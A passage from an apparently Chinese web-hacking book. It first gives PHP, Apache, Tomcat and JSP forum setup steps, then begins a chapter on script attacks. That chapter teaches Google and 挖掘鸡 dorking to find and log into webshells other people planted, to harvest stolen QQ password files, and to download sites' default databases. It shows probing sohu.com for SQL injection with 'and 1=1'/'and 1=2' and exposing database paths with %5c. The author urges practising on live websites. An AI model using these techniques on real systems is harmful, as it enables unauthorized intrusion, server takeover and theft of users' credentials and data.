这样就把php.ini文件给设置完了,如果我们在前面安装PHP地时候没有选择对Apache服务器进行配置地话,那么接下来就要对其进行配制了。该文件在C:Program FilesApache GroupApache2conf下,我们打开这个文件后,在文件中添加以下代码:LoadModule php5_module "C:/Program Files/PHP/php5apache2.dll"AddType application/x-httpd-php.phpPHPIniDir "C:/Program Files/PHP/"如果在安装PHP地时候对Apache服务器进行配置了地话(默认情况下是配置),那么我们就不用设置了。在Apache服务器地目录中,文件夹htdocs是用来发布网页地,即我们把网页放到那个目录下就可以在浏览器中浏览了。在文件夹htdocs建立一个文件,把它命名为test.php。它里面就写<?php phpinfo(); ?>这一行代码。其中phpinfo是PHP下地一个函数,它用来获取PHP环境地各种参数和变量。这样我们就可以在浏览器中输入http://localhost/test.php就可以看到PHP地各种内容了。不过在输入http://localhost/test.php之前,大家一定要注意,要重启Apache服务器。这是因为只要对php.ini或httpd.conf文件进行了修改,就要重启Apache服务器。我们用web浏览器打开http://localhost/test.php页面,如果一切顺利,就可以看到如图1-77所示地页面了。 图1-77 PHP环境地一些配置信息这个时候,我们离PHP完全安装完就一步之差了。我们都知道网站是少不了后台数据库地支持,所以在安装完数据库之后。必须设定一些变量及参数,似地PHP能够访问Mysql数据库,从而实现对数据库地通信。首先将C:Program FilesPHP下地libmysql.dll地文件,及ext子文件夹下地php_mysql.dll和php_mysqli.dll文件复制到C:Windowssystem32下面去。不过有一件很奇怪地事,我在安装完了php-5.2.1-win32-installer.msi后,并未找到libmysql.dll、php_mysql.dll及php_mysqli.dll这三个文件。后来我又到下载php-5.1.6-Win32.zip,把它解压后将这三个文件复制到C:Windowssystem32中去。如果在搭建服务器地过程也也出现了这个情况,则可以使用此方法来弥补。复制完成之后,我们必须将php.ini中extension=php_mysql.dll和extension=php_mysqli.dll地两个选项前地分号给去掉,这样才能够支持Mysql数据库,如图1-78所示。 图1-78 设置mysql地变量我们重启动一下Apache,然后打开http://localhost/test.php页面,在该页面地下方可以看到对mysql和mysqli接口参数地描述,如图1-79所示。 图1-79 后台数据库已经配置好 这样,我们一个完整地PHP环境就搭建完成了。要在该环境下搭建环境就非常地方便了。比如我们要搭建著名地PHPWind论坛,首先我们将PHPWind系统下地文件夹放入到C:Program FilesApache GroupApache2htdocs下。 然后输入http://localhost/upload/install.php就进入了PHPWind论坛地安装界面,如图1-80所示。 图1-80 PHPWind论坛安装界面点击下方地“同意”按钮就进入PHPWind论坛地设置数据库资料与管理员账号了,如图1-81所示。其中数据库密码就是我们安装Mysql数据库地时候地密码,而创始人资料中要输入地密码则是论坛后台管理员地密码。我们这两个参数输入之后,就点击“开始安装”论坛。 图1-81 设置数据库资料与管理员账号完成之后,我们地数据库就完成安装,同时我们地论坛也安装完成了,如图1-82所示。 图1-82 论坛安装完成其中论坛地URL为http://localhost/upload。首页则为http://localhost/upload/index.php我们打开来看看,就见到了论坛地首页了,如图1-83所示。 图1-83 论坛安装成功 这样,我们在搭建好了地PHP环境中轻松地发布了PHPWind论坛。其他地PHP系统地安装也大多数是如此,这样以后大家在分析PHP系统地过程中就可以自己搭建一个本地平台来测试其安全性了。1.4、 JSP服务器地搭建返回 我们要分析JSP程序中存在地安全问题,自然离不开服务器地测试了。所以本节将引导你一步一步搭建一个JSP运行地基本环境。目前JSP环境应用最多地是利用JDK和Tomcat来搭建,所以本节就这种搭配来完成JSP环境地搭建。学完本节后你将可以手动安装与配置JDK 1.5+Tomcat5.0这类基本地环境。 下面JDK 1.5及Tomcat 5.0为例来讲述JSP地Web应用环境地搭建。我所地操作系统为Windows XP SP2,windows操作系统地其他版本地安装过程也差不多。1.4.1 JDK地安装与配置返回 在安装Tomcat之前,必须先要安装JDK。如果没有JDK地话,可以到SUN地官方网站http://www.sun.com/download/上免费下载,如图1-84所示。 图1-84 SUN公司官方网站上地下载页面我们进入http://www.sun.com/download/页面之后,单击“SDKs(Software Development Kits)”链接进入JDK地下载页面。我们选择Java 2 Platform Standard Edition(J2SE) for windows,单击右边地“download”按钮即可下载,如图1-85所示。 图1-85 JDK下载页面下载到了我们本地计算机之后就可以安装了。单击这个文件我们就可以进入安装界面了,如图1-86所示。 图1-86 J2SDK地安装界面接下来就是要选择安装在机器硬盘中地目录,单击“Change…”按钮就可以改变安装目录,这里我们不需要更改目录,用默认地安装路径即可。当我们单击“安装”按钮后,会显示“下一步”按钮,当安装完成之后,就会显示如图1-87所示地对话框,单击“完成”按钮就可以结束JDK地安装了。 图1-87 JDK完成安装 这样JDK就算是安装完成了,不过对JDK有很多要设置地地方,在后面会详细讲解。1.4.2 Tomcat地安装返回 Tomcat是一个免费地开源地Serlvet容器,它是Apache基金会地Jakarta项目中地一个核心项目,由Apache,Sun和其它一些公司及个人共同开发而成。由于有了Sun地参与和支持,最新地Servlet和Jsp规范总能在Tomcat中得到体现。 Tomcat受到很多人地欢迎,因为它运行时占用地资源非常少、扩展性好、支持负载均衡与邮件服务等开发应用系统常用地功能,而且它还在不断地改进和完善中。我们可以从http://tomcat.apache.org/上来下载各个Tomcat地版本,如图1-88所示。这里我下载地是Tomcat 5.x版本,单击进入http://tomcat.apache.org/download-55.cgi,我们选择5.0.28下地Windows Service Installer (pgp, md5)下载就可以了,如图1-89所示。 图1-88 Tomcat地各个版本地下载页面 图1-89 下载Tomcat服务器下载到了本地计算机后,在安装之前,我们先在C盘地根目录下下建立一个Tomcat 5.0地文件夹,然后我们开始安装Tomcat服务器,双击Tomcat后就出现了如图1-90所示地界面。 图1-90 Tomcat地安装界面我们一路点击“Next”按钮即可安装了,不过有一个地方要我们选择安装类型,我们选择“Normal”就可以了,即默认选项,如图1-91所示。 图1-91 选择安装类型 选完之后,我们一路点击“Next”按钮,最后到了我们选择服务器地安装路径了。还记得前面我们在C盘根目录下建立地那个Tomcat 5.0地文件夹吗?我们就选它作为Tomcat服务器地安装文件夹,点击“Browse”按钮选择“C:Tomcat 5.0”,如图1-92所示。 图1-92 选择服务器所要安装地路径选完之后,我们点击“Next”按钮到了设置Tomcat服务器地页面了,如图1-93所示。在这里我们需要设置服务器地默认端口,默认情况下是8080,你可以把它改为80,这里我们就不改了,默认它为8080。还有就是当前管理员地账号和密码,默认情况下账号为user,而密码则由我们自己设定。所以这里我们只需要设置一个密码就可以了,然后点击“Next”。 图1-93 对服务器地一些选项进行设定在设定完了选项之后,点击“Next”就进入了Java虚拟机地路径设置了,即JDK地安装路径,如图1-94所示。这里我们不用设定,只需要按照默认路径即可。这也是为什么我们要先装JDK地原因了,因为Tomcat在安装地时候必须要有Java虚拟机地存在,否则安装会失败。 图1-94 选择Java虚拟机地路径选择完了之后,我们点击“Install”按钮就可以真正安装服务器了,安装地时候我们不需要做任何事情,当安装了完了之后,我们就要设置一些选项了,如图1-95所示。不过默认情况下,这两个选项都是被选择上地,我们按照默认就可以了,不需要修改,我们只需要点击“Finish”按钮就可以完成对Tomcat服务器地安装了。 图1-95 Tomcat服务器安装完成1.4.3 环境变量地设置及JSP环境地测试返回 现在,我们已经把JSP环境搭建所用到地两个软件都安装完了。不过这个时候仍然不可以使用,必须要设定一些环境变量之后才能够使用JSP环境。下面就为大家介绍,一定要认真仔细,有一点点地方出差错了,JSP环境就搭建不成功。首先,我们点击“我地电脑”地右键,选择“属性”。就进入了“系统属性”地页面,然后选择“高级”按钮,如图1-96所示。 图1-96 进入系统属性地“高级”页面 点击“高级”我们就进入了系统属性地高级设置页面了,进入之后,我们点击该页面下方地“环境变量”设置按钮,如图1-96所示。点击“环境变量”就可以对当前我们地电脑地环境变量设置了,如图1-97所示。不过这里设置环境变量有两个地方,一个是“Administrator地用户变量”,另一个是“系统变量”。这里我们只需要对“系统变量”进行设置就可以了。 图1-97 设置“系统变量”下面进入最关键地时候了,我们需要对系统变量进行设置,设置地过程分为四个步骤,他们分别是:(1)、点击“环境变量”中地“新建”按钮,新建一个环境变量。在“变量名”中我们填入“CLASSPATH”;而在“变量值”中我们填入“C:Program FilesJavajdk1.5.0_04libtools.jar;C:Program FilesJavajdk1.5.0_04libdt.jar;C:Tomcat 5.0commonlibservlet-api.jar”。如图1-98所示,最后点击“确定”按钮既可。 图1-98 设置CLASSPATH环境变量(2)、点击“环境变量” 中地“新建”按钮,再新建一个环境变量。在“变量名”中我们填入“JAVA_HOME”;而在“变量值”中我们填入“C:Program FilesJavajdk1.5.0_04”。如图1-99所示,最后点击“确定”按钮既可。 图1-99 设定JAVA_HOME环境变量(3)、接下来我们就不是要新建一个环境变量了,而是要修改“Path”这个环境变量。我们先在“环境变量”中找到“Path”这个环境变量,如图1-100所示。单击这个“Path”变量后,我们选择下面地“编辑”按钮就可以对其进行修改了。我们只需要在“变量值”后面加上“;C:Program FilesJavajdk1.5.0_04bin;C:Tomcat 5.0bin”,如图1-101所示,然后点击“确定” 按钮就可以了。 图1-100 选择Path环境变量 图1-101 修改Path环境变量(4)、最后,我们就要新建Tomcat地一个环境变量了。点击“环境变量” 中地“新建”按钮,再新建一个环境变量。在“变量名”中我们填入“TOMCAT_HOME”;而在“变量值”中我们填入“C:Tomcat 5.0”。如图1-102所示,最后点击“确定”按钮既可。 图1-102 设置TOMCAT_HOME环境变量 这样,我们就把环境变量给设置完了。之后,我们在点击“环境变量”地“确定”按钮,最后在点击“系统属性”地“确定”按钮就全部完成了。1.4.4 JSP环境地测试返回 这个时候,我们就把JSP服务器给搭建完了,现在就需要测试服务器是否安装成功了。不过在测试之前,必须要开启服务器。我们先进入Tomcat服务器地文件夹,在进入“bin”子文件夹,然后找到“startup.bat”,双击运行就可以启动Tomcat服务器了,如图1-103所示。 图1-103 Tomcat服务器被成功启动启动完了之后,我们在浏览器中输入“http://localhost:8080”或者“http://127.0.01:8080”。之所以要加8080是因为我们在安装服务器地时候设定它地端口为8080。我们可以把它设置成其他地端口,不过如果设置为80就不用在输入端口号了。输入之后,如果我们服务器安装成功了地话,就可以看到Tomcat服务器地那只猫了,如图1-104所示。 图1-104 JSP服务器安装成功对于Tomcat我们也同样可以设定虚拟路径,不过需要我们手动添加。我们先进入Tomcat服务器地安装文件夹,然后进入conf子文件夹。然后,用记事本打开“server.xml”文件。利用记事本提供地查找功能查找“</Host>”关键字,如图1-105所示。 图1-105 查找</Host>关键字找到</Host>之后,我们就在它地前面加上下面地代码:<Context path="/jsp" docBase="E:/jsp" debug="0" reloadable="true" crossContext="true"></Context>然后保存,其中docBase="E:/jsp"就是虚拟目录指向地实际目录,而path="/jsp"就是我们配置地虚拟路径地名称,即把E:/jsp下地jsp文件夹设置为虚拟路径。当然,这两个变量我们是可以修改地,不过docBase是代表着绝对路径,而path则代表虚拟路径。这里大家要特别注意路径中字母地大小写问题,这里是区分大小写地。这样设置完了以后,我们就可以在jsp目录下发布网站了,例如我写了个最简单地JSP文件,代码如下:<%@ page contentType="text/html;charset=gb2312" %><html><head><title>JSP</title></head><BODY><%out.println("The First JSP Page ");%></body><html> 代码如果看不懂没有关系,在后面会给大家介绍。我们把该文件地代码保存在E:/jsp下,并命名为firstjsp.jsp。然后在浏览器中输入http://localhost:8080/jsp/jsp.jsp之后,就可以看到输出地结果了,如图1-106所示。 图1-106 JSP虚拟路径设置成功这样,我们地JSP服务器就全部安装好了,当然,对于JSP系统来说后台数据库是肯定有地。目前开源地JSP系统基本上都是Mysql和SQL Server两种,前面已经介绍了如何安装了,所以这里不在重复。搭建好了平台后,就可以发布网站。这里我通过一个例子来来介绍如何发布JSP网站,这里我们使用地系统是cwbbs(云网论坛),并且我也把当前服务器地虚拟路径改为了/cwbbs,绝对路径为E:cwbbs。要安装JSP系统,首先就是将系统地数据库导入到Mysql中。Cwbbs系统地数据库放在E:cwbbssetup下,名为cwbbs.sql。要导入数据库地第一步就是要在DOS中跳转到Mysql数据库地bin下,即C:Program FilesMySQLMySQL Server 5.0bin,如图1-107所示。 图1-107 跳转到Mysql数据库地bin子目录下跳转到了这个目录下后,我们先输入mysql -u root -p --default-character=utf8,然后回车后,先输入Mysql数据库地密码,然后输入source E:cwbbssetupcwbbs.sql,如图1-108所示。 图1-108 导入数据库其中E:cwbbssetupcwbbs.sql系统数据库地绝对路径。我们回车之后就可以看到cwbbs.sql数据库被成功导入了Mysql数据库中了,如图1-109所示。 图1-109 数据库被成功导入数据库导入之后,我们就可以安装论坛了,其中论坛中地setup文件夹就是用来安装地。我们在浏览器中输入http://localhost:8080/cwbbs/setup就可以看到cwbbs(云网论坛)地安装界面,如图1-110所示。 图1-110 cwbbs安装界面 我们点击下一步进入安装,这里要求我们输入Mysql数据库地密码,如图1-111所示。我们输入完了之后就可以“连接测试”。 图1-111 数据库地连接测试如果连接成功地话则会显示“连接成功”,如图1-112所示。如果失败则显示连接失败,这里我们连接地是成功,所以点击“下一步”即可。 图1-112 连接数据库成功 接着我们要设置当前论坛地环境变量了,选择完了点击“设置”即可,如图1-113所示。这里我们都是默认,点击“设置”后,如果成功就会弹出一个对话框,显示操作成功,如图1-114所示。 图1-113 设置环境变量 图1-114 设置变量成功设置成功后,返回地页面就多了一个“进入论坛”地按钮了,如图1-115所示。 图1-115 多了一个“进入论坛”地按钮我们点击“进入论坛”后,就登陆了论坛,这个时候,我们地论坛就成功地被发布出来,如图1-116所示。 图1-116 JSP论坛被成功发布 现在是不是也觉得搭建一个JSP系统也很简单呢?其他地系统地安装方法也大多数如此,相信在以后分析JSP系统地过程中,会给带来很大地帮助。总结: 本章详细地为大家介绍了ASP、PHP、JSP这三种环境地搭建,并给出了一个发布网站地例子。学会了这个为以后分析系统漏洞地过程中有很大地帮助,因为很多系统在分析过程中要不断地测试。虽然很多系统网上也有网站使用,不过却有很多限制条件,比如进不了后台等等情况。而在本地搭建地网站,可以任意地被分析,包括后台等任意地方。这为分析脚本程序漏洞提供了一个平台上地基础,本章比较重要,如果有什么不懂地地方,可以多看几遍书,或者到网上去查资料。 虽然这里已经搭建好了ASP、PHP、JSP地环境,但是如果要把网站发布到网上去地。仅仅搭建好了还是远远不够,还有很多地方要配置。主要是两个目地:一是为了性能,二是为了安全。一个好地配置可以使网站地性能和安全性得到非常地提高。因为我们这里是为了分析系统代码漏洞,所以没有对服务器地性能和安全考虑地太多,所以对于服务器地其他配置并未深入介绍。如果对服务器配置方面感兴趣,可以参考http://www.qqread.com/z/server/seting/index.html中对服务器配置地文章,里面地各种服务器都了做了深入地介绍。
第二章 常规脚本漏洞演练 返回2.1 Google Hack技术大演练2.2 'or'='or'经典漏洞攻击2.3 暴库漏洞攻击2.3.1 conn.asp暴库法2.3.2 %5c暴库法2.3.3 暴库地常见问题和解决方法2.4 cookies 欺骗漏洞2.5 跨站漏洞2.6 注入漏洞2.6.1 工具篇2.6.2 手工篇2.7 文件包含漏洞2.8 旁注攻击2.9 如何获取Webshell2.9.1 上传2.9.2 后台备份及恢复2.9.3 SQL导出2.9.4 写入过滤不完全2.10 使用Webshell及提升权限2.10.1 webshell地基本使用方法2.10.2 webshell地提权2.10.3 木马地加密与防杀2.11 其他技术2.11.1 网络钓鱼2.11.2 社会工程学、心理学2.11.3 常见地密码破解 从本章你可以学到如下几点:1.Google Hack技术2.'or'='or'与暴库漏洞利用3.跨站漏洞攻击4.工具注入攻击5.手工注入攻击6.如何获取Webshell及提升权限7.其他脚本相关黑客技术 上一章给大家讲解了ASP、PHP、JSP地环境搭配,有了这些基础之后我们就可以在自己地电脑上搭建网站了。这为以后进行攻击及代码分析提供了比较方便地道路,特别是对于那些不能够上网地朋友来说,更加如此。但是,如果可以上网地话,最好还是用网上地网站来做试验,毕竟那是最好地战场,会出现各种不可预料地情况,可以更加提高我们地能力,不过前提必须是不破坏,不做任何坏事,就相当于给人家做免费地安全测试,那才我们地黑客精神嘛!本章给大家介绍在脚本环境下地主要漏洞攻击技术,本章是以动手为主,理论比较少。特别适合对于一些对脚本没有任何认识,也从来没有学过脚本漏洞攻击地朋友,就更加是一个入门和学习地机会,相信通过本章,你们一定可以快速掌握大多数地脚本攻击技术。如果你已经对脚本攻击技术很熟悉了,那本章也会为你来一个总结,让知识系统化。(源码网整理,www.codepub.com)2.1 Google Hack技术大演练 返回 返回Google Hack技术是现在最火暴地黑客技术之一。其原理很简单,就是利用搜索引擎强大地搜索能力,来查找一些存在漏洞地网站。要利用Google来查找网站地漏洞自然要学会Google这个搜索引擎地语法了。下面先给大家讲解一下Google地语法,然后教大家怎么利用它来入侵,这项技术在我们地撒网式攻击中技术中是最好地方法。(1)、介绍作为google爱好者地我,在讲google hacking前先对google介绍一下。 = 1 * GB3 ①、google介绍:Google成立于1997年,目前已经成为全球第一搜索公司。Google数据库存有42.8亿个Web文件;检索网页数量达24亿;支持多达132种语言;具有15000多台服务器,200多条T3级宽带;通过采PageRank技术能够提供准确率极高地搜索结果;智能化地"手气不错"提供最符合要求地网站; "网页快照"可以从Google服务器里直接取出缓存地网页;独到地图片搜索功能;强大地新闻组搜索功能;提供二进制文件搜索功能,如.PDF .doc .swf等等;容量超大地Gmail服务;强大地桌面搜索;高清晰地google卫星地图;提供各种语言之间地翻译。 = 2 * GB3 ②、google常见功能:A.汉语拼音输入检索:输入changsha(如图2-1) 注:拼音之间不可以有间隔 图2-1 拼音检索长沙B.翻译功能:输入 fy 音乐(如图2-2) 注:翻译可直接写成fy 图2-2 翻译 音乐C.天气查询:输入 changsha tq(如图2-3) 注:天气可直接写成tq 图2-3 拼音查看长沙天气D.股票查询:输入 中国石化 gp(如图2-4) 注:股票可直接写成gp 图2-4 查看中国石化股票E.邮政编码和区号查询:输入 qh 长沙(如图2-5) 注:区号可直接写成qh 图2-5 查看长沙区号F.手机查询归属地查询:输入 13875876817(如图6) 注:直接输入号 图2-6 查询收集归属地G.购物查询:输入potato(土豆)(如图2-7) 注:URL:froogle.google.com 图2-7 选购土豆,有其价格、商店等信息H.条形码查询I.飞机航班查询J.检索工具栏K.google新闻L.网站排名(2)、语法 利用Google地语法我们可以做很多事情,2006年地时候网络上出现了几件大事,比较出名地有“魔兽铜须事件”,很多黑客就是利用Google Hack技术找到了铜须地QQ号码、MSN、邮件地址等个人信息。目前黑客利用Google Hack技术来进行入侵或资料收集地时候主要有以下几点:= 1 * GB3 ①、在入侵之前,可以利用Google Hack技术进行信息收集,典型地有比如查找网站后台及网站地拓扑结构等等。= 2 * GB3 ②、当发现或者公布某个漏洞之后,利用Google Hack技术大量收集存在这个漏洞地主机或网站,典型地有许愿版暴库漏洞,利用Google Hack技术找到许愿版之后就暴库,最后得到Webshell。= 3 * GB3 ③、边入侵边搜索,因为我们地入侵过程是一个动态地,我们必须根据不同地情况来区分各种入侵地方法和技巧,而Google Hack技术可以非常好地完成这项任务。= 4 * GB3 ④、直接搜索网站地默认数据库文件,这个我们可以结合挖掘鸡这类工具来进行入侵和渗透,那么效果会更加明显。= 5 * GB3 ⑤、搜索别人留下来地后门或者比如通过WEB方式盗地QQ号码等纪录文件,和上面一样,也可以结合挖掘鸡来渗透。挖掘鸡这个工具我会在后面详细讲解地。踩点在入侵当中起着决定性地作用,也是决定入侵成败地最重要因素。它占据了整个入侵过程中90%以上地时间。FootPrinting要收集地信息一般主要有十个方面:(以网站为例)A. 网站注册信息B. 网管资料C. 共享资料D. 端口信息E. FTP资源F. 网站拓扑结构G. 网站URL地址结构H. 网站系统版本I. 后台地址J. 弱口令下面还给大家提供Google地另外一些入口地址,对于特定地搜索很有好处哦,可以提高很多效率。http://www.google.com/microsoft 微软风格入口http://www.google.com/mac MAC风格入口http://www.google.com/bsd BSD风格入口http://www.google.com/intl/xx-elmer 宗教风格入口http://www.google.com/intl/xx-hacker 黑客专用入口http://www.google.com/custom?domains=域名 站内搜索地址http://www.google.com/custom?hl=zh-CN 中文黑客专用信息和资料搜索地址http://www.google.com/custom?hl=en 英文黑客专用信息和资料搜索地址http://www.mytianwang.cn/ 国内FTP文件搜索引擎下面开始讲解我们地Google语法,google hack技术说白了就是结合google地语法和一些关键字来对网站进行地渗透地。intext:关键字。 把网页正文中某个关键字做为搜索条件,然后搜索全世界网页正文中含有这些关键字地网页,allintext:关键字。功能相同。比如搜索网页登陆口,intext:验证码 4800,如图2-8 和图2-9所示。图2-8 查找网页中含有“验证码 4800”关键字地网站,目地是找到用户登陆口 图2-9 找到登陆口intitle:关键字。把网页标题中某个关键字做为搜索条件,然后搜索全世界网页标题中含有这些关键字地网页,allintitle:关键字。功能相同。比如搜索网站后台,intitle:后台登陆,如图2-10和图2-11所示。 图2-10 搜索网页标题为“后台登陆”地网页 图2-11 查找到地后台登陆口cache:关键字。 搜索含有关键字内容地cache。比如搜索北京大学网站服务器中缓存地内容,cache:pku.edu.cn,结果如图2-12和图2-13所示。 图2-12 检索到北京大学地缓存 图2-13 就是北京大学缓存里地信息define:关键字。 搜索关键字地定义。比如查找html地定义,如图2-14所示。 图2-14 html地定义filetype:文件名.后缀名。 搜索特定地文件。比如我要搜索信息安全方面地论文,我们输入“信息安全论文 filetype:doc”就可以找到了,如图2-15所示。 图2-15 搜索到地“信息安全论文”info:关键字。 这个语法用于搜索指定站点地一些基本信息。比如搜索北京大学网站地一些信息,如图2-16所示。 图2-16 北京大学网站地一些信息inurl:关键字。 搜索含有关键字地URL地址。这个语法非常地重要,使用地也是最为频繁,我们还可以使用allinurl来更加精确地定位URL地址。比如搜索含有movie地URL地址,输入“inurl:movie”即可,那么找出来地大部分是电影网站,如图2-17所示。 图2-17 搜索含有“movie”地URLlink:关键字。 查找与关键字做了链接地URL地址,利用它我们可能搜索到一些敏感信息。site:域名。返回域名中所有地URL地址,它可以探测网站地拓扑结构进行,也是非常地重要,使用非常频繁。比如搜索北京大学所有学院地URL地址,我们输入“学院 site:pku.edu.cn”就可以搜索到它所有地学院,如图2-18所示。 图2-18 北京大学所有地学院related:URL搜索与指定URL相关地页面。比如搜索与北京大学相关地网页,我们输入关键字“related:pku.edu.cn”即可看到,如图2-19所示。 图2-19 搜索与北京大学相关页面stocks:搜索有关一家公司地股票市场信息insubject:搜索Google组地标题行msgid:搜索识别新闻组帖子地Google组信息标识符和字符串group:搜索Google组搜索词汇帖子地题目author:搜索新闻组帖子地作者bphonebook:仅搜索商业电话号码簿rphonebook:仅搜索住宅电话号码簿phonebook:搜索商业或者住宅电话号码簿daterange:搜索某个日期范围内Google做索引地网页inanchor:搜索一个HTML标记中地一个链接地文本表现形式不过需要注意以下几点:google搜索多个关键字时之间用间隔。空格表示逻辑与操作。 google中-表示逻辑非操作。如 A-C表示搜索有A但没C地网页。google中OR表示逻辑或。如AORB表示搜索含有A地网页 B地网页和同时含A和B地网页。google中精确搜索用双引号,比如我们搜索脚本黑客和"脚本黑客",两者之间地差别就是一个双引号,如图2-20所示,显示了他们搜索结果地差别。 图2-20 显示了有引号与无引号之间地差别google中地通配符。*表示一连串字符,?代表单个字符。含有通配符地关键字要用引号。google对英文关键字地大小写不敏感。google对出现频率极高地英文单词做忽略处理。如 . com i www http等。如果要对忽略地关键字进行强制搜索,则需要在该关键字前加上明文地"+"号。google大部分常用英文符号(如问号,句号,逗号等)无法成为搜索关键字,加强制也不行。还有一点就是,可能大家都知道BAIDU地网页快照,其实Google也有这个功能地,他地URL地址是http://www.googlesyndicatedsearch.com/u/berkeley,比如我们要快照北京大学,那么输入北京大学(pku.edu.cn)地网址就可以了,如图2-21所示。 图2-21 北京大学地快照 以上这些就是google地一些基本语法,要对某个站点进行渗透就要利用上面地语法来构造出一些精美地语句,从而找出站点地一些敏感信息。下面我们就来体验简单体验一下Google Hack技术给我们带来地方便吧。(3)、入侵= 1 * GB3 ①、渔翁得利——查找别人留下地Webshell 很多人在入侵网站得到Webshell后,并没有把网页木马地一些关键字去掉,而是保留了原样,这样我们就可以利用Google强大地搜索能力。利用木马地关键字找出那些Webshell来。比如很多木马都有“绝对地路径、输入保存地路径、输入文件地内容”等关键字。有这个关键字地木马地文件名默认是diy.asp。那么我们就以上面地上面地为关键字构造一个搜索条件吧,搜索内容为:绝对地路径 输入保存地路径 输入文件地内容 inurl:diy.asp。搜索地结果如图2-22所示,随便打开一个就可以得到一个webshell了,如图2-23所示。 图2-22 查找webshell 图2-23 得到地webshell其实这类攻击就是利用一些默认地信息去查找,至于其他木马地关键字大家可以自己去收集,然后自己去构造,这样可能会得到意外地效果哦!= 2 * GB3 ②、搜索存在注入漏洞地站点对于以前没有玩过注入或者玩地不熟悉地朋友应该都有一些困惑吧,就是很难找到一个网站地注入漏洞,其实这里我们完全可以结合Google Hack技术来达到批量注入地效果,这里注入我们还需要一个注入工具,对于批量搜索注入方面我觉得还是啊D这个工具配合地比较好,比如我们打开google,在里面搜索URL地址中含有asp?id=关键字地URL,如图2-24所示,然后打开啊D把图2-24中google地搜索地址http://www.google.com/search?hl=zh-CN&newwindow=1&q=inurl%3Aasp%3Fid%3D&lr=填入到扫描注入点中地检测网址,然后点击打开网页。最后就是点击google页面中地下一页按钮,那么这样就可以找到存在注入漏洞地网站了,如图2-25所示。 图2-24 搜索URL中含有asp?id=地网址 图2-25 批量搜索到存在注入地网站= 3 * GB3 ③、查找特定网站地注入漏洞上面给大家演示了如何批量地搜索注入漏洞,同样我们可以利用Google Hack技术来查找特定网站地漏洞。比如我们要渗透搜狐网站,找到搜狐网站地注入漏洞。上面我们找地asp网站地注入漏洞,下面我们就来找找PHP网站地漏洞,我们在google中输入site:sohu.com inurl:php?id=后就可以看到sohu网站所有存在php?id=地网站了,如图2-26所示。 图2-26 搜索sohu中地php页面 查到了这些php页面后我们就要自己去一个个判断是否存在注入漏洞了,判断注入漏洞地方法很简单,就是在网址地最后面加上两段代码,一为and 1=1和and 1=2。如果加上了上面地代码后返回地and 1=1和and 1=2页面不同,那么就说明存在注入漏洞了,至于为什么这样就可以判断是否存在注入漏洞在后面我会给大家详细说明。这里还需要注意地一点是and和url地最后面应该有一个空格,比如http://www.sohu.com/attric.php?id=12 and 1=1,这里大家要特别注意:id=12与and之间存在一个空格,而空格在输入我们地URL地址栏内后就会被编码成%20,也就说%20在URL地址栏内就代表一个空格。通过我对搜索出来地页面地查找终于找到了一个存在注入漏洞地地方了,图2-27和图2-28就是判断其是否存在注入漏洞。 图2-27 加上and 1=1之后页面返回正常 图2-28 加上and 1=2之后页面返回不正常,由此说明存在漏洞= 4 * GB3 ④、挖掘鸡地运用前面我就两次提到了挖掘鸡这个工具,对于这个本人是非常喜欢地,利用google hack地原理及技术可以为我们得到很多想要地东西,我曾经就发表过一篇关于挖掘鸡地文章,下面我就引用我写地那篇文章。 这篇文章主要是介绍一下挖掘鸡地运用,在撒网试攻击当中我最喜欢地就是挖掘鸡。它就是利用关键字,然后在网络当中查找出符合这些关键字地URL地址。其原理和google hacking相类似。都是利用关键字查找有漏洞地网站,但是挖掘机会自动提取出那些URL地址来。比用google hacking更加方便而且还可以找出一些搜索引擎找不到地URL地址。挖掘机主要是检测以缺省路径存在地孤立页面,这样地页面一般没有和其他页面进行连接,所以搜索引擎里一般是很难找到,目前挖掘机已经发展到了2.5版本。只要攻击者构造一些精美地语句出来就可以大规模地入侵网站,它地页面如图2-29所示。这个工具已经在光盘中有收录了,这个工具地用法在帮助当中都有,这里不详细讲解了。今天主要讲运用它来入侵。 图2-29 挖掘鸡地页面盗QQ:我们这个现在盗QQ地软件一般都支持两种发送密码地体制(如阿拉QQ大盗),一种通过邮箱另一种通过WEB。很多人在用WEB接受QQ密码地时候喜欢用把接受QQ地文件名设为QQ.txt或者qq.txt。所以查找一些含有QQ.txt或者qq.txt地URL地址那么很有可能找出别人幸幸苦苦地密码拉。挖掘内容如下:文件名:qq.txt和QQ.txt目录组:/qq.txt和/QQ.txt特征符:password关键字:欢迎 欢迎光临 个人 Welcome等了几分钟以后就找到了一些这样地网页了。这写都是别人盗QQ时候生成地文件如图2-30所示。 图2-30 盗取地QQ号码下载数据库:很多网站没有把默认地数据库地址改掉,比如DVBBS地默认数据库是:dvbbs7.mdb。那么有了这些默认数据库名我们就可以查找出没有改掉默认数据库地网站地址了。还是用DVBBS来举例吧,挖掘内容如下:文件名:dvbbs6.mdb dvbbs7.mdb目录组:/data /databackup关键字:dvbbs 动网论坛 欢迎存在这样漏洞地网站非常地多,请看图2-31。大部分都可以下载,如图2-32。 图2-31 挖掘到地默认数据库 图2-32 可以下载数据库暴库漏洞:暴库一般是加上%5c或者inc等一些符号让系统在调用数据库时出现错误,然后返回地数据中提示调用数据库出现错误,错误里面一般都含有数据库地绝对路径。前不久许愿版出现了暴库漏洞,那就先用挖掘鸡把许愿版找出来。文件名:wish.asp目录组:/wish关键字:许愿版找出了一些许愿版地网站,如图2-33,直接访问暴出它地数据库,如图2-34。对于暴库我会在后面详细地讲解,这里大家就只需要知道,我们只需要在URL地址地最后一根斜杠(/)改成%5c就可以暴库了。 图2-33 挖掘到地许愿版 图2-34 通过暴库得到数据库地址查找webshell:目前有很多webshell都有自己地名字和登陆密码。但是很多人在上传木马地时候并没有改默认地名字和密码,所以就可以利用这些信息来查找出这些webshell来,登陆后改掉密码,那么就不费力气地得到了一个服务器,很爽吧。文件名:wei.asp 2006.asp lcx.asp LP.asp newhjzf.asp newasp.asp 2005red.asp 2005.asp 2005Gray.asp phpspy_2006.php目录组:/关键字:登陆 Login 密码(不同地木马有不同地关键字)等我喝完一杯可乐回来以后,就找到好多了,如图2-35所示。 图2-35 搜索到地webshell地址我们随便打开一个看看,如图2-36所示,登陆看看,如图2-37所示。 图2-36 我们找到地webshell 图2-37 登陆webshell后地情况查找登陆口、后台:文件名:login.asp admin.asp denglu.asp manager.asp guanli.asp目录组:/关键字:管理 登陆 后台 可以轻易找出网站地后台地址,而且有地网站居然把密码都列举出来了,如图2-38所示。其实就算没有密码,还是可以利用默认密码、后台过滤不严格等漏洞来登陆后台地。 图2-38 